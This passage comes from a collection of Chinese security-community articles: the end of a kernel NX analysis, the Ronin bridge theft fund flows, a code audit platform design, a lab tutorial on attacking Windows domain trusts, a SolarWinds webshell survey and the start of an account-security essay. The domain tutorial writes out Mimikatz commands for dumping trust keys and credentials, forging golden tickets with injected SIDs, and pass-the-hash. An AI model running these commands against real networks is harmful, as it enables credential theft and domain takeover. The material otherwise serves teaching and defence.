1`，`IA32_EFER.NXE`才可以置位为1或是0，其支持PAE，4-level，5-level分页，不支持32位经典分页：
`IA32_EFER.NXE`置位为1，XD位才能被设置，否则保留：
内核可以通过`noexec on|off`来配置是否启用NX：
static int disable_nx;
/*
* noexec = on|off
*
* Control non-executable mappings for processes.
*
* on Enable
* off Disable
*/
static int __init noexec_setup(char *str)
{
if (!str)
return -EINVAL;
if (!strncmp(str, "on", 2)) {
disable_nx = 0;
} else if (!strncmp(str, "off", 3)) {
disable_nx = 1;
}
x86_configure_nx();
return 0;
}
early_param("noexec", noexec_setup);
`x86_configure_nx()`函数：
void x86_configure_nx(void)
{
if (boot_cpu_has(X86_FEATURE_NX) && !disable_nx)
__supported_pte_mask |= _PAGE_NX;
else
__supported_pte_mask &= ~_PAGE_NX;
}
其中`X86_FEATURE_NX`定义如下：
/* AMD-defined CPU features, CPUID level 0x80000001, word 1 */
/* Don't duplicate feature flags which are redundant with Intel! */
#define X86_FEATURE_SYSCALL ( 1*32+11) /* SYSCALL/SYSRET */
#define X86_FEATURE_MP ( 1*32+19) /* MP Capable */
#define X86_FEATURE_NX ( 1*32+20) /* Execute Disable */
#define X86_FEATURE_MMXEXT ( 1*32+22) /* AMD MMX extensions */
#define X86_FEATURE_FXSR_OPT ( 1*32+25) /* FXSAVE/FXRSTOR optimizations */
#define X86_FEATURE_GBPAGES ( 1*32+26) /* "pdpe1gb" GB pages */
#define X86_FEATURE_RDTSCP ( 1*32+27) /* RDTSCP */
#define X86_FEATURE_LM ( 1*32+29) /* Long Mode (x86-64, 64-bit support) */
#define X86_FEATURE_3DNOWEXT ( 1*32+30) /* AMD 3DNow extensions */
#define X86_FEATURE_3DNOW ( 1*32+31) /* 3DNow */
`_PAGE_NX`定义：
#if defined(CONFIG_X86_64) || defined(CONFIG_X86_PAE)
#define _PAGE_NX (_AT(pteval_t, 1) << _PAGE_BIT_NX)
#define _PAGE_DEVMAP (_AT(u64, 1) << _PAGE_BIT_DEVMAP)
#define __HAVE_ARCH_PTE_DEVMAP
#else
#define _PAGE_NX (_AT(pteval_t, 0))
#define _PAGE_DEVMAP (_AT(pteval_t, 0))
#endif
`_PAGE_BIT_NX`定义语句为`#define _PAGE_BIT_NX 63`，与Intel
SDM中描述一致。`__supported_pte_mask`会在`massage_pgprot`函数中使用：
static inline pgprotval_t massage_pgprot(pgprot_t pgprot)
{
pgprotval_t protval = pgprot_val(pgprot);
if (protval & _PAGE_PRESENT)
protval &= __supported_pte_mask;
return protval;
}
static inline pte_t pfn_pte(unsigned long page_nr, pgprot_t pgprot)
{
return __pte(((phys_addr_t)page_nr << PAGE_SHIFT) |
massage_pgprot(pgprot));
}
static inline pmd_t pfn_pmd(unsigned long page_nr, pgprot_t pgprot)
{
return __pmd(((phys_addr_t)page_nr << PAGE_SHIFT) |
massage_pgprot(pgprot));
}
static inline pud_t pfn_pud(unsigned long page_nr, pgprot_t pgprot)
{
return __pud(((phys_addr_t)page_nr << PAGE_SHIFT) |
massage_pgprot(pgprot));
}
## 0x03 参阅链接
* [NX(No-eXecute)的实现分析](https://hardenedlinux.github.io/system-security/2016/06/01/NX-analysis.html)
* [Overall Options](https://gcc.gnu.org/onlinedocs/gcc-9.3.0/gcc/Overall-Options.html#Overall-Options)
* [Link-Options](https://gcc.gnu.org/onlinedocs/gcc-9.3.0/gcc/Link-Options.html#Link-Options)
* [Collect2](https://gcc.gnu.org/onlinedocs/gccint/Collect2.html)
* [getopt_long_only(3) – Linux man page](https://linux.die.net/man/3/getopt_long_only) | 社区文章 |
# Ronin Network侧链被盗6.25亿美金流向分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件概述
零时情报站报道， 3 月 29 日消息， Axie Infinity侧链Ronin 验证器节点和 Axie DAO 验证器节点遭到破坏，导致在两笔交易中从
Ronin 桥接了 173,600 个以太坊和 2550 万美元的 USDC，目前Ronin 桥和 Katana Dex
已经停止使用。以下是攻击者钱包地址：[https://etherscan.io/address/0x098b716b8aaf21512996dc57eb0615e2383e2f96。目前，黑客已将所有USDC](https://etherscan.io/address/0x098b716b8aaf21512996dc57eb0615e2383e2f96%E3%80%82%E7%9B%AE%E5%89%8D%EF%BC%8C%E9%BB%91%E5%AE%A2%E5%B7%B2%E5%B0%86%E6%89%80%E6%9C%89USDC)
兑换为 ETH，将 6250 ETH 分散转移，3750 ETH 转移到 Huobi，1220 ETH 转移到FTX，1 ETH 转移到
Crypto.com，剩余资金余额仍停留在黑客地址，黑客发起攻击资金1 ETH 来源为 Binance
，剩余资金余额仍停留在黑客地址。黑客发起攻击资金来源为 Binance 提币。
## 0x2 事件原理
Ronin采用简易的资产跨链模式，用户通过Ronin跨链合约将以太坊的资产转移至Ronin，该过程中，Ronin跨链合约首先会判断是否在以太坊端接收到了资产并锁定，随后Ronin跨链合约确认并发布给用户在Ronin上的相应资产，当用户销毁Ronin上的相应资产后，以太坊端会将初始锁定的资产解锁并返回给用户。
Sky Mavis 的 Ronin 链目前由 9 个验证节点组成。为了识别存款事件或取款事件，需要九个验证者签名中的五个。攻击者设法控制了 Sky
Mavis 的四个 Ronin 验证器和一个由 Axie DAO 运行的第三方验证器。
验证器密钥方案被设置为去中心化的，它限制了与此类似的攻击向量，但攻击者通过Ronin的无Gas RPC 节点发现利用后门来获取 Axie DAO
验证器的签名。
回顾 2021 年 11 月，当时 Sky Mavis 请求 Axie DAO 帮助分发免费交易，因为用户负载巨大。Axie DAO 允许 Sky
Mavis 代表其签署各种交易。这已于 2021 年 12 月停止，但未撤销许可名单访问权限。
一旦攻击者获得了 Sky Mavis 系统的访问权限，他们就能够通过使用无Gas RPC 从 Axie DAO 验证器获取签名。
目前官方已确认恶意提款中的签名与五个可疑验证者相符。
## 0x3 资金来源去向
**资金来源**
攻击者通过Binance交易所地址获取初始初始资金1.0569 ETH，随后调用Ronin
Bridge跨链桥合约获取173,600枚ETH和25,500,000枚USDC。
**资金去向**
攻击者将25,500,000枚USDC分五笔分别转移给0xe708f……7ce10地址及0x66566……55617地址并从该地址兑换获取约8564枚ETH。
随后攻击者将6250枚ETH转移至5个地址，其他资金目前仍在攻击者钱包地址。
**对目前已转移出的钱包资金进行追踪**
黑客将3750 枚ETH 转移至 Huobi火币地址。
黑客将1250 ETH转移至FTX Exchange交易所地址。
黑客将1枚ETH转移至Crypto.com地址。
**其余转移的资金流向**
转移至0x5b5082214D62585D686850Ab8D9E3f6b6a5c58FF地址1234 枚ETH暂未移动。
转移至0xa9BFdC186c6Bcf058Fbb5Bf62046D7bC74E96Ce2地址15 枚ETH暂未移动。
攻击者钱包175,913枚 ETH暂未移动。
零时科技资产安全平台地址分析
零时科技安全团队将持续监控被盗资金的转移情况，再次提醒交易所、钱包注意加强地址监控，避免相关恶意资金流入平台。 | 社区文章 |
# 【技术分享】京东代码安全审计平台第一期建设思路
|
##### 译文声明
本文是翻译文章，文章来源：京东应急响应中心
译文仅供参考，具体内容表达以及含义原文为准。
****
**一： 白盒代码审计初期遇到的问题**
在漏洞扫描领域，可以大致分为黑盒扫描和白盒扫描两种主流方式，黑盒扫描工具主要是通过发送模拟攻击数据包给线上业务，通过返回数据包中的特征发现漏洞；白盒扫描则是通过扫描程序源代码中的漏洞代码特征，进行针对性的漏洞查找。黑盒扫描技术门槛、成本都较低，适合大批量发现安全漏洞，因此目前几乎所有公司的安全团队都采取自研或者使用商业工具建立了黑盒扫描平台。但是随着时间推移大量明显漏洞被黑盒扫描方式发现并修复，可以直接通过黑盒扫描工具发现的漏洞逐渐减少，而越来越多的安全漏洞隐藏较深难以发现，这些漏洞也成了攻击者重点利用的对象。相对于黑盒扫描，白盒代码扫描可以从代码层面准确发现隐藏较深的安全漏洞，但是白盒代码扫描相对来说技术门槛和成本都比较高，所以目前大部分公司没有能够很好的建立起白盒代码审计平台，京东安全团队为了推进白盒代码审计建设，使用了一款商业代码扫描引擎，在前期的使用中，也遇到了很多困难，主要有如下四方面。
**1.1 源代码分布较为分散**
京东最初的源代码基本上都使用SVN进行管理，且上百个研发团队分管自己的SVN，导致源代码分布较为分散，这就为白盒代码审计获取代码带来了困难。为了推动代码审计项目进程，审计团队不得不分别与各个研发团队进行联系来获取相关的上线项目源码，严重影响了代码审计的工作效率。
**1.2 代码库地址与域名及研发负责人不能对应**
在开发白盒代码审计系统之前，由于代码库地址、域名及研发负责人的ERP没有被对应起来，导致审计过程中还需人工去对应代码库与域名。发现漏洞后还要去找到对应的域名进行漏洞验证，并且还需要寻找相应的研发负责人去沟通交流，在这一过程中浪费了大量的时间及精力，严重影响了代码审计的工作效率。
**1.3 扫描引擎默认扫描规则检测效果不理想**
将采购的扫描引擎应用于京东白盒代码审计之初，我们发现其默认的扫描规则对于京东代码的检测效果并不理想。鉴于京东具备一套符合其业务发展的研发架构，代码审计团队需在此基础上研究适应该架构的扫描规则以提高检测效果。
**1.4 扫描引擎默认界面只能手工提交扫描任务**
扫描引擎默认接口只支持手动提交扫描任务，且每次只能提交一个扫描任务，针对京东成百上千个代码库，难以批量扫描，效率低下。
**二： 京东白盒代码审计系统第一期设计思路**
针对以上的四点主要问题，我们通过几个月时间的协调和设计，规划并且研发出了京东白盒代码审计一期平台，能够比较好的解决上面四点问题。
**2.1 白盒代码审计系统整体架构介绍**
白盒代码审计项目一期，主要实现从京东上线平台同步数据，主要包括系统域名、代码库、研发人员，并提交扫描任务至扫描引擎进行扫描。扫描引擎使用安全团队针对京东项目源代码特点定制的扫描策略，最终形成报告供审计人员验证漏洞。
（如图所示为系统的整体架构图）
**（1）与京东上线平台对接**
当京东上线平台中有项目上线时，都会将系统域名、代码库地址、研发负责人等信息自动录入白盒代码审计系统的数据库中，为后期的代码扫描提供自动化的数据来源，有了系统域名、代码库地址、负责人信息的汇聚，就解决了之前提到的源代码分散以及发现漏洞难以验证的问题。下图为系统中汇聚到的域名、代码库、负责人等信息。
**（ 2）扫描引擎调度**
白盒代码审计系统通过调用扫描引擎开放的web
services接口实现了对扫描引擎的调度。当白盒代码审计系统发现有新项目提交进来之后会自动提交扫描任务给扫描引擎进行扫描。这样就省去了人工提交扫描项目的繁琐操作，审计人员可以把主要精力全部都放在分析扫描报告、验证安全漏洞上。
**（ 3）扫描引擎使用定制化规则进行代码扫描**
扫描引擎在接收到白盒代码审计系统提交的上线项目的代码库地址等信息后，会根据代码库信息clone相应源码，再根据京东安全团队配置的符合京东项目特性的扫描规则，进行相应的漏洞扫描，并生成最终的漏洞扫描报告以供后期的漏洞验证。
**
**
**三： 截止到目前白盒代码审计总体成果介绍**
经过2个月左右时间的实际运行扫描测试，共扫描代码库65个，发现多个安全漏洞。（如图所示为风险等级分布图和漏洞类型分布图）
****
****
**四：主要扫描规则设计思路介绍**
****
**1.文件上传漏洞**
（1）设计背景
文件上传操作是web程序中的常见操作，但是如果没有对上传文件操作做相应的安全处理，很容易被攻击者利用上传脚本木马，获取服务器权限。例如，上传图片到web目录中，如果没有限制上传文件的扩展名，攻击者可以上传一个脚本木马到web路径，从而直接获取服务器权限，并且可以进行进一步的攻击。
（2）设计原理
京东线上业务有很多文件上传操作，这些操作有很大一部分使用了Spring MVC框架提供的文件上传功能，根据Spring文档，可以知道，Spring
MVC默认支持两种文件上传操作方式。一种是使用MultipartHttpServletRequest或者MultipartFile作为方法参数，第二种是使用javax.servlet.http.Part作为方法参数，如下图所示。
根据这个特点，我们可以编写代码扫描规则，发现代码中的文件上传操作，然后就可以进一步判断是否存在文件上传漏洞。
**2.SQL注入漏洞**
（1）设计背景
通过总结发现京东业务中数据库交互层面大部分使用mybatis框架，mybatis框架中#{变量}对应JDBC中的预编译机制，不存在SQL注入漏洞，${变量}对应SQL语句拼接方式，存在SQL注入风险。
（2）设计原理
若与数据库交互的位置存在动态拼接，即用户输入的参数可控，在这种情况下，很容易遭到黑客恶意利用而进行SQL注入攻击。针对SQL注入，设置匹配规则在mybatis的sql语句层面扫描文件中的“$”符号，再使用扫描引擎提供的数据流分析机制层层跟进数据到web层面。
**3.通用组件漏洞**
（1）设计背景
一个项目中除了研发人员自己编写的代码中可能存在安全漏洞，使用的第三方组件中同样可能包含安全漏洞，如Struts2远程代码执行漏洞，这类漏洞的特点是使用了存在漏洞的组件，就有产生安全漏洞的风险。
（2）扫描规则设计原理
目前由于京东的项目构建主要依靠maven系统，项目的pom.xml文件中记录了项目所依赖的各种第三方组件信息，很适合白盒代码扫描，所以在这里设计了相应的规则扫描pom.xml文件中的组件坐标信息。
**更多精彩内容欢迎关注“京东应急响应中心”** | 社区文章 |
# 域之间渗透
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 介绍
大一点企业或公司，都有自己的内网系统，有着各种防护的系统，流量审计，镜像等这些系统。然而这些都是在各种域下，不同部门也是存在不同的域环境，如果拿到一个域控，就可以进行其它域的渗透。这篇文章，先讲解下域之间的关系，在利用域关系进行下一步的渗透。
## 0x01 环境搭建
* windows 2012 (hack.com 192.168.199.151) 本文中称为A 域
* windows 2012 (child.hack.com 192.168.199.68) 本文中称为CA 域
* windows 2008 (localtest.com 192.168.199.129) 本文中称为B 域
A域与CA域是”within forest“
关系，内部信任是可以传递，这里子域的信任搭建很简单，就不细说了，说一下子域的加入，在CA域的域控搭建完后，选择加入一个存在的域，然后其中有个DSRM 密码：
DSRM账户是域控的本地管理员账户，并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。 这里有一个[DSRM
持久化](http://drops.xmd5.com/static/drops/tips-9297.html) ，因为要修改注册表，我反正不喜欢用。
B域信任CA域，属于外部信任，不能传递信任关系，CA域可以访问B域中的资源，讲下这里的搭建过程：
在B域domain
trusts设置外部信任后，CA域也会自动创建，可以参考[这里](https://dotblogs.com.tw/maduka/archive/2013/03/09/96042.aspx)：
信任创建完过后，还要设置相应的share文件夹及可以访问的组和用户，参考[这里](http://www.liangwei.cc/server_tech/windows_server_2008_chuang_jian_wai_bu_xin_ren.html)，说一下本环境的搭建：
1.WIN10 加入CA域。
2.建立一个全局的组GCB。
3.在CA域建立一个IT OU，添加用户child-ita。
4.在B域中建立一个本地share 组，把CA域的GCB添加到这里，这里添加的时候需要输入CA的用户名和密码验证。
5.在B域的DC的C盘中建立一个share的分享文件夹，把share组的权限添加到当中。
好了，这个外部的信任搭建完成，B信任CA域，所以在CA域的GCB的用户，可以访问在B域DC中share的文件夹内容。
这里没有那些VLAN划分，网络隔离这些东西了。我简单的域环境就搭建完成了。结构图如下：
## 0x02 多个域之间关系
这里涉及到kerberos 认证的过程，不清楚的可以看看我前面的文章。
在client 通过AS
服务的验证过后，会得到这个client的TGT（TGT包含了当前client所属组及权限，还有其他林中域的组，例如：universal
groups）。client利用TGT朝DC请求TGS，然后利用TGS向目标服务器请求访问资源。TGT的生命周期默认10小时，所以攻击者只要拿到KRBTGT的hash
password就可以自己伪造签名TGT，这也就是mimikatz生成的黄金票据。这就是域的验证过程。
在一个林中，CA域中的client要访问B域中的服务器的资源，先看下3个域的信任关系：
A域和CA域（就是A的子域）:
B域：
拥有多个域的大多数组织都需要用户访问位于不同域中的共享资源，并且信任允许具有多个域的组织授予不同域中的用户访问共享资源的权限。域林是相互信任的域容器的集合。森林本身也可能在它们之间有信任。内部信任具有传递关系，A信任B，B信任C，所以A也是信任C的，但是外部信任不能传递。
从下图看下在不同域的访问过程：
在两个域互相信任过后，会有一个信任密码及在每个域中注册一个`ticket-granting`
服务，用来提供跨域的服务。在上图可以看见蓝色的第4步，得到inter-realm(由域之间信任密码生成)的加密和签名的TGT，向另一个域DC请求TGS，绿色域DC使用信任密码验证通过后，生成了客户端要访问的绿色应用服务器的TGS票据。
Gold Ticket中默认包含了Enterprise Admin 组的关系，而Enterprise Admin又是AD域中Administrator
组的成员。在其中还涉及到了sidHistory和SID过滤安全机制，所以攻击者可以伪造kerberos 票据来获取到域中的Enterprise
Admin权限。所以下面我就来介绍下，如何利用Mimikatz 伪装 域信任票据。
## 0x03 域之间渗透
1.伪造内部信任AD林中的信任票据
我这里是在子域下的一个普通用户，目标利用伪造trust key来获取AD的访问权限：
1)先利用mimikatz 在域控dump出来的数据`privilege::debug` `lsadump::trust /patch` ：
2)在利用trust key 来伪造凭证是属于EA组的，用户名可以随便填写：
`kerberos::golden /domain:child.hack.com
/sid:S-1-5-21-840356815-2954379092-972630321
/sids:S-1-5-21-1863527717-1245757989-2975568438-519
/krbtgt:ac51f0ddaf0246a556f1978dd12d2a0f /user:hack$ /ptt`
解释下这些参数怎么获取：
domain:当前子域，sid:当前子域SID，sids:信任域的SID，也就是父域，krbtgt:当前域的krbtgt的值，user是trust
account，不确定可以使用dcsync在看下。
3)misc::cmd弹出CMD窗口，你也可以导出成Ticket，在导入来获取权限。
2.访问信任域中的资源
1) 在CA域的DC中，mimikatz 执行`privilege::debug` `lsadump::lsa /patch`
先获取到可以访问B域用户的ntlm
2) `sekurlsa::pth /user:child-ita /domain:child.hack.com
/ntlm:e45a314c664d40a227f9540121d1a29d /run:powershell.exe`
利用信任的用户NTLM，访问B域上的分享文件夹。
## 0x04 总结
本文先大概的介绍了域信任的关系，解释了其中用户组认证时的过程，以及涉及到的安装过程。并且利用mimikatz
在不同的信任关系下来利用用户的NTLM伪造和签名trusts
ticket来获取域上的资源。在外部的信任中，只有在信任域中的组中的那些被信任域用户，才能访问到信任域中有指定权限的分享文件夹。所以在拿到域控权限的时候，`lsadump::lsa
/inject` `lsadump::trust /patch`这个命令是一定要有的。
审核人：yiwang 编辑：边边 | 社区文章 |
# SolarWinds失陷服务器测绘分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01背景
美国时间2020年12月13日，SolarWinds公司的orion平台软件被爆出存在供应链后门，使用该公司产品的数百家美国核心组织机构被国家级APT组织入侵。
在此事件披露后不久，Solarwinds供应链后门的C&C开始被微软和域名服务商接管锁定，攻击者似乎已无法通过C&C控制失陷的SolarWinds服务器。但在360威胁情报中心发布的SolarWinds供应链攻击揭秘报告中，明确指出了此次事件相关的核心后门程序外，攻击者还在SolarWinds服务器中植入了另外的WebShell后门程序。
据悉，SolarWinds公司为全球30万家客户提供了产品服务，SolarWinds失陷服务器有可能仍然遍布网络空间，相关组织机构仍然存在极大的安全风险。依靠360安全大脑的全网安全能力，360Quake团队联合360高级威胁研究分析中心对全网的SolarWinds服务器进行了分析调查。
## 0x02Solarwins WebShell后门分析
Solarwinds orion平台的Web控制台和IIS等Web中间件是无缝绑定的，因此攻击者可以从外网直接访问服务器。
在此次solarwinds供应链攻击事件中，攻击者在后渗透阶段针对特定目标solarwinds服务器的Web控制台植入了Webshell后门组件，该组件的原厂功能是根据网络请求数据给管理平台网页返回显示logo图片，而在后门组件中对原功能增加了一段后门代码。
该处新增的后门代码为原文件新增了codes、clazz、method、args这四个额外的HTTP请求参数。
攻击者通过HTTP请求传入的任意自定义代码，最终会被后门代码动态编译执行。
## 0x03SolarWinds服务器存活情况
根据Quake 的搜索语法：app:”Solarwinds-orion”
我们发现SolarwindsOrion 的一年内资产数据为3146条，独立IP数量为1414个。国家分布和国内各个省份分布如图所示：
利用Quake搜索：app:”Solarwinds-orion”AND response:”2019.4″
发现受影响的 2019.4版本的有485个，
利用Quake搜索：app:”Solarwinds-orion”AND response:”2020.2.1″
发现受影响的2020.2.1版本有218个。
在对Solarwinds orion平台进行探测的同时，我们统计了搭建Solarwinds orion平台的windows
server版本。根据探测的结果，可以发现Solarwinds服务器环境占据前五的主要是：
因为iis8.0和iis8.5同属于WindowsServer 2012，所以前四的windows服务器版本环境分别对应的是WindowsServer
2016，WindowsServer 2012，WindowsServer 2008，WindowsServer 2003。
## 0x04Solarwins WebShell抽样排查
结合Webshell的分析特征，我们发现请求Orion/LogoImageHandler.ashx响应文件类型会被强制设置”text/plain”。
我们针对该特征对全球的Solarwinds orion平台进行抽样分析，发现了多台疑似被植入WebShell后门的服务器。部分后门服务器列表如下：
## 0x05总结
本次探测结果可知，全网视野下存在安全隐患的Solarwinds服务器数量仍是以美国地区为最多，而国内也存在少部分隐患资产。
目前，Solarwinds供应链后门的C&C已被安全厂商和域名服务商接管锁定，但攻击者除开使用C&C控制失陷服务器外，很可能再通过其他预置的后门，利用外网失陷Solarwinds服务器再次入侵目标，请相关的组织机构提高警惕。
更多网络空间测绘领域研究内容，敬请期待~
Happy hunting by using 360-Quake.
## 0x06参考文章
* https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q | 社区文章 |
# 一部手机失窃引发的后续思考,如何提高我的个人账号安全?
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
大概在几个月前,一篇名为<<一部手机失窃而揭露的窃取个人信息实现资金盗取的黑色产业链>>的文章出圈在公众视野引起了不小的轰动.
据作者老骆驼描述过程,其家人遭遇专业团伙作案,在手机失窃后SIM卡被冒用手机锁屏被破解,并且黑产团伙通过社工掌握了受害者个人信息,作为一个信安从业者,他在几轮对抗后,依然受到了不小的经济损失.
笔者在读完这篇文章后,一段时间都在反复思索,如果把文中主角换成自己,在遭遇手机丢失后岂不是更加被动?作为依赖电脑进行工作的人群,平时更多的信息保存在电脑中,会不会有笔电失窃的场景,甚至遭遇商业竞争性质的社工?发生更严重的信息泄露?自己有哪些具有可行性的手段,提高个人安全,避免陷入这种被动状态?笔者在实践了一些能够平衡安全和便捷性的可行方案后,准备在这里和大伙分享一些体会.
## 复盘问题出在哪里?
### (1)厂商:
**互联网厂商:**
解决问题,首先还得确定问题出在哪,互联网产品,为了方便用户使用,提高用户留存率,在用户验证方式上,普遍的比较依赖SIM卡验证方式,而SIM卡虽然很便捷,但其作为安全信任链条的根源,存在着先天缺陷,并不100%靠谱.
在这个前提下,实力强的公司,会通过多层风控 理赔
法律等手段给用户兜底,弥补SIM卡的缺点和问题,即使小部分用户遇到相应问题也在厂商承受范围内,用资本实力实现了便捷与安全的平衡.
很多时候安全和便捷是冲突的,无法轻易兼顾的,一般的公司,依赖SIM卡验证手段提高用户体验的同时,没有条件去配套同大厂同样的安全设施,,这就打破了安全和便捷的平衡,当风控出现漏洞,理赔推卸责任,法律抓不到人,用户只能自己承担一系列损失.
**SIM卡厂商:**
由于地区发展差异,各地各品牌SIM卡的管理和服务情况参差不齐,一些地方SIM的业务现状,很可能处于和老骆驼文中同样的情况,给作案团伙留下展开社会工程学的空间.
### (2)用户设备:
作为承载信息的实体,手机和电脑存储我们的各种账号信息,其中一小部分至关重要,一旦泄露被其他人接触,会大概率造成财产或声誉损失.保护手机电脑内容的锁屏功能,成为保护个人数据财产战役中的重要防线.而锁屏保护能否奏效,也取决于多个因素,每家手机厂商的安全能力参差不齐,可能在手机ROM和固件层面就存在漏洞,也可能有的设备因为停止了软件的更新维护,没有修补漏洞的条件.或者是用户禁用更新,关闭锁屏的情况.
### (3)用户行为
**没有安全意识**
受限于专业和知识,无法意识到SIM卡密码 SIM卡漏洞 社会工程学
手机电脑锁屏等内容的关键意义.或者被互联网产品驯化,只管使用它们带来的便捷性,出了事只想着追究厂商责任.
**侥幸心理**
从来没觉得自己会弄丢电脑手机遇上专业团伙,成为骆驼文中的倒霉蛋.
**受限于成本**
只有千日做贼,没有千日防贼.保护个人信息安全当做一场战役,把犯罪团伙作为假想敌来对线,用户是没办法躺赢的,需要持续的投入成本才能维持自身安全.
这种成本是经济形态的,比如更新换代手机,选择更安全更新的设备.也可能是时间和注意力形态的,比如设置复杂的密码,设置不共用的密码,学习哪些点是安全的,哪些是不靠谱的.
人们都会天生的排斥那些复杂的事情,安全总是要为眼前的注意力和方便妥协.
## 对我们个人来说,哪些问题是可控的?哪些是不可控的?
**先看上述这些问题中我没办法控制的:**
厂商方面,少数互联网巨头公司每年都会在安全方面投入巨资让用户放心,但现实是很多公司没有这种条件,当发生<<一部手机失窃…>>文中的情景,黑产通过这些公司的贷款风控漏洞方式进行提现,通过xxxx人社类似的网站搜集建立社工信息,通过SIM卡服务流程漏洞解绑,用户对这些不稳定因素没有太多办法,会非常的被动.
用户设备方面,随着时间的推移,电脑手机软件系统总会被发现新的漏洞,例如一些早先是安全的手机,在停止更新维护后出现绕过屏锁,ROOT越狱漏洞等,用户可没能力修复漏洞,而对黑产团伙来讲这种设备属于不设防状态.
**哪些是我可以控制的:**
个人意识:
虽然没有办法影响各家互联网公司的安全水平,但是可以换个角度去想事情,既然他们都是不稳定因素,那干脆做最坏的打算,假设网龄很长,注册过很多应用,信息泄露和社工一定发生过了,我的全套资料在社工库都可查到,假设网贷都是三流公司,安全建设的投入很低,假设所有SIM卡天生就有缺陷和漏洞,假设所有SIM卡客服都是不靠谱的,假设SIM卡可复制,密码也能被绕过,这样直接一开始就完全不信任他们,从悲观的出发点考虑问题.
投入成本:
读完<<一部手机失窃…>>之后我的第一反应是这个犯罪团伙太努力了,真的是训练有素分工明确,为达目的无所不用的地步.
作为一个普通人连设置个SIM密码,使用不通用密码这样简单的事都懒得做,跟人家对线肯定是全程被动,被一顿毒打的.
所以想躺赢是不可能的,控制不了外部因素,但是自己可以花钱投精力在这方面.
## 接下来怎么办?
对于有人参与的环节,放弃幻想,完全不信任.
对于物和技术的方面,舍得投入成本,有使用新的安全技术的产品出来该换就换,选择产品时除了性价比还要多关注一下安全性的问题,还要舍得花时间去理解这种安全技术是不是起作用的,大概什么时间会变得不起作用,动态的去验证它.
梳理到上面这个阶段,提升和改造自己账号安全的逻辑已经清晰了,剩下的就是把该逻辑,贯彻到实际改造中.
## 从一个实际场景切入,开始我的改造工程
随便找一个网站注册账号,打开登录页面,思路涌现,脑子里浮现出4个关键概念:
(1)入口 (2)信任链条 (3)多因素验证 (4)密码管理
**(1)入口**
登录这个网站有4种方式,密码,短信,手机扫码,三方账号
只要有1种泄露或有问题,其他几种保护的再好也无济于事.
根据这个特性, **提高账号安全性,即尽可能减少登录入口,** 如同关闭通向终点的通道一般.
**(2)信任链条**
用这个站中的三方账号登录方式举例,
Bilibili——>三方号码——>邮箱号/手机号
安全问题是一个信任链条,Bilibili账号如果绑了三方账号,它的登录验证就取决于绑定的三方号是不是安全的,而三方号是不是安全的取决于它绑定的邮箱或SIM卡是不是安全的,一环扣一环.
根据这个特性可以发现,越是链条靠后的环节越为关键.
若最后一个节点出问题,整个链条的安全性就不存在了,信安范畴里类似的说法叫Root of Trust信任之根.
对普通用户来说, **提高账号安全性,即选择可靠的信任根.**
哪些东西是理想的信任根?哪些是不靠谱的信任根?
我在参考了一些资料后做了些梳理.
<https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html>
<https://security.googleblog.com/2017/11/new-research-understanding-root-cause.html>
一般SIM卡/邮箱/USB安全密钥是最常见的信任根,其中SIM卡很方便,但最不可控不靠谱,关于SIM卡的攻击案例数不胜数.
邮箱作为信任根的话,具体看厂商的安全投入和建设,其中Gmail比较出色,Google针对高危人群,推出了基于纯物理安全密钥的高级保护计划,尤其在公司内部普遍给员工配置Titan
SecurityKey.
USB安全密钥是最安全的,密码学设备要比人稳定可控的多,但缺点是要额外花银子去买它,目前有Yubikey ,Feitian
TitanSecurityKey,开源的nRF52可选择.
总的来说, **提高账号安全性,即避免用SIM卡作为信任根.**
这个想法不错,但实际去执行又发现不可行,很多网站只支持用SIM卡手机号作为信任根,不给用户做选择的机会.
提高账号安全性变成了,使用SIM卡作为信任根,怎么保证相对的安全?
一般来说假想敌想要控制SIM卡有两个障碍,能物理访问SIM卡,且突破SIM卡PIN码.
用户要设置好PIN码PUK码是最基本的,但根据上面的悲观方法论和从不信任人的原则,SIM卡运营商有重置PIN码的权限,保不准就被专业团伙忽悠了.
自己每天都会带着手机到处晃悠,概率上也存在弄丢手机的可能性,自己作为人也是不可信的.
这种情况下我能想到的策略是隔离, **专门弄一张SIM卡用作账号信任根,放家里隔离好,不做其它使用.**
考虑到便捷性,所有账号都用那张专用SIM卡作为信任根,还不让把该SIM卡和手机随身携带肯定是不现实的.
还是要区分账号的重要性,只在重要号码绑专用SIM卡.
**(3)多因素验证**
要求访问者在登陆网站或执行高危操作时,除了提供密码,还要再提供更多证明,作为验证要素.
这个很好理解,银行的动态口令卡和U盾,早期网易游戏的将军令,都属于多因素验证的东西.
所以, **提高账号安全性,即给账号增加多因素验证.**
关于多因素验证的概念也比较杂,总的来说要搞清OTP和FIDO的使用.
受限于篇幅,我将一些简介内容放在另外的链接,这里只做些简单的总结.
2FA 代表双因素验证
MFA 代表多因素验证
OTP 狭义上可以理解为动态口令方式的多因素验证
FIDO 一个联盟,负责制定和推广标准(FIDO标准)
U2F 物理形态的认证方案(FIDO标准的)
UAF 生物特征形态的认证方案(FIDO标准的)
<https://www.jianshu.com/p/8e9d5597896f>
**(4)密码管理**
减少账号登录入口,使用最安全的信任根,到此为止了么?
还没有,众所周知的密码存在一些现实缺陷,如:
1 长度短有规律的弱密码存在爆破问题,
2 多个网站使用同一个密码,有一个网站应用泄露了信息,其他站点账号也就不安全了.
3 让人去记忆多个强密码,是反人类的,违反自然规律的.
4 而且密码过长反复输入不仅不方便,容易被摄像头和周围人记录.
5 输入的设备不可信,比如存在键盘记录器,或是设备不设屏保防护密码又有明文记录(如Chrome).
所以, **提高账号安全性,即使用强密码,一站一密码不复用,且避免手动输入过程,且确认载体是安全的.**
可以通过密码管理器实现上述需求,通过一个主密码管理众多密码,但这相当于把”密码安全问题”转化成了”密码管理器的安全问题”和”运行密码管理器的电子设备的安全问题”.
**密码管理器和电子设备是靠谱可信的吗?我觉得这是动态变化的,要取决于使用工具的人,即用户掌握的信息和愿意投入的经济成本.**
## 提高密码管理器的安全性
**密码管理器的选择**
首要问题是选择哪一个密码管理器,密码管理器分软件和硬件形态.
